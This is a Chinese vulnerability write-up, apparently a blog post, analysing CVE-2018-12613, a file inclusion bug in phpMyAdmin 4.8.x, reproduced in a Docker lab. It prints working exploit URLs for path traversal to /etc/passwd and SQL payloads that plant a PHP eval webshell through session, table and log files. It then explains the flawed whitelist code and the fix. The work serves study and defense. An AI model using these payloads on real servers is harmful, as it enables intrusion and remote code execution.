【漏洞分析】CVE-2018-12613 - phpmyadmin后台任意文件包含
简述
由于对index.php中包含文件的target参数未作严格的安全校验,导致可以被利用绕过白名单、黑名单校验从而进行本地文件包含,达到GetShell和命令执行的效果。
要想利用该漏洞,攻击者必须经过身份验证,但在这些情况下除外:
- $ cfg [‘AllowArbitraryServer’] =
true:攻击者可以指定他已经控制的任何主机,并在phpMyAdmin上执行任意代码 - $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
影响版本:
- Phpmyadmin 4.8.0
- Phpmyadmin 4.8.0.1
- Phpmyadmin 4.8.1
漏洞验证
Docker拉取靶场环境,创建靶场环境
浏览器访问8080端口,即可进入phpmyadmin界面,因为靶场用的是config方式的身份验证,因此不需要使用账号密码登录
根据漏洞报告和网上师傅们的复现文章,是在index.php文件处存在本地文件包含漏洞,所以验证代码如下:
1 | http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |
成功读取passwd文件
此时可以利用session文件写入phpinfo()木马,首先执行SQL语句:
1 | select '<?php phpinfo() ?>'; |
然后F12查看此时用户的sessionID,也就是phpmyadmin的Cookie值,此值就是Mysql保存在本地的临时会话文件,使用以下url访问该临时文件,即可执行此前插入的木马语句:
1 | http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_8f36723f61b00567f291c3e7218be400 |
注意:需要将sess_后的内容改为自己当前的Cookie值
GetShell
利用sesion文件
执行以下SQL命令,同上方法访问临时session文件,即可php命令在网站目录下创建a.php并写入一句话
1 | SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`; |
蚁剑成功连接:
可打开虚拟终端和文件系统
利用数据库文件(frm表结构文件)
通过创建表并将字段名定义为一句话木马,随后利用包含访问该文件即可:
但是因为我在Docker上搭建的环境,Web和Mysql用的2个主机环境,也就是库站分离,所以无法包含数据库文件,但是可以在Mysql虚拟机里看到木马:
所以和上边session文件一样,只需要将数据库字段名设置为以下语句:
1 | SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`; |
然后包含相应的test.frm文件,即可执行命令在网站目录下创建一个a.php的木马
为了测试,我直接在Web主句目录下写入一个frm文件,然后在phpmyadmin中包含该文件:
即可创建a.php,蚁剑连接,成功进入shell环境:
利用日志文件
还有就是可以利用日志文件,但是当前环境权限不足,且没有开启日志功能,所以无法复现,具体原理同以上两种方法。
因为是存在本地文件包含,所以如果不是库站分离的情况下,是不需要修改日志路径为网站根路径的,任意路径即可,只需利用包含漏洞包含该日志文件,执行的php命令是在网站根路径创建新的木马文件。
打开general_log:set global general_log = on
执行以下命令:
1 | SELECT `<?php fputs(fopen("/var/www/html/a.php","w"),'<?php eval($_POST[a]);?>');?>`; |
包含日志文件,即可在网站根目录生成a.php的一句话木马。
原理分析
漏洞形成在index.php文件中,通过includes来加载传入的target参数文件,在第55行到59行对target参数做了过滤:
1 | // If we have a valid target, let's load that script instead |
非空
是字符串
不能包含index
不在target_blacklist黑名单内
其中target_blacklist内容在50到52行定义:import.php、export.php
第5个校验:通过Core类的checkPageValidity方法校验页面合法性
在源码中找到Core类,导出到本地
在Core类443行找到了checkPageValidity方法:
1 | public static function checkPageValidity(&$page, array $whitelist = []) |
其中,第452行判断传进的page参数是否在whitelist白名单内,如果在内则判断成功,返回True,因此关键点就是让page也就是$_REQUEST[‘target’],即target传入的文件名存在于该白名单whitelist内
该函数中whitelist参数是有默认值的,默认为空,而whitelist白名单又在第445到447行做了判断,判断传入的whitelist参数是否为空,如果为空则将Core类中的$goto_whitelist赋值给whitelist,因为在index.php文件中电泳该方法时并未指定whitelist,因此此时的whitelist内容就是Core类中的goto_whitelist内容
往前找,在Core类的31行定义了$goto_whitelist,如下:
1 | public static $goto_whitelist = array( |
所以,只需要将target参数设定在该白名单内,即可成功返回True,但是我们需要做的是给target参数继续传参,达到任意文件包含,所以还需要看下边的?校验。
网上文章都对456行到473行的?校验做了分析,得到的结果是需要对?进行二次URL编码来绕过校验,但是其实由于代码的逻辑是先用?进行截断,取出?前的文件名来做白名单校验,成功直接返回True,不再执行下边urldecode后的?校验,所以其实不需要对?做编码处理,也可以成功执行:
但是还是分析一下原理,这部分代码是这样的:
对page参数做了两次?的截断判断,将?前的文件名做白名单校验,第一次直接截断,失败后进行url解码再次截断判断。
其实也就表示允许target参数带参,如果传入的target参数也是带参的话,同样会将其参数指向的文件包含进来,也正是因为这种机制导致了任意文件包含。
不得不说phpmyadmin开发人员考虑的太周到了,又是主动urldecode,又是可以参数继续传参,多种判断都可以返回True,真是贴心,泪目~😭😭😭
防御
从用户角度来看的话,那就是升级版本,没得说。
从开发者角度来看,由于未能理解他们可以多次传参的初衷,所以我认为在没有必要的情况下可以将该功能删除,只保留target一次传参,即只能包含白名单内的文件。
而在后续的版本中也证实了这个观点,开发人员给Core的checkPageValidity方法加了一个include参数,用来标志是否开启连续传参:
当include参数为True时,即表示不允许多次传参。
PS:我怎么jiao的这块开发人员写错了呢🤨,应该是
1 | if (! $include) { |
这样就表示传参为True时,可以连续传参包含,传参为False时不允许,这也和$include的初始值相对应。
随便想想~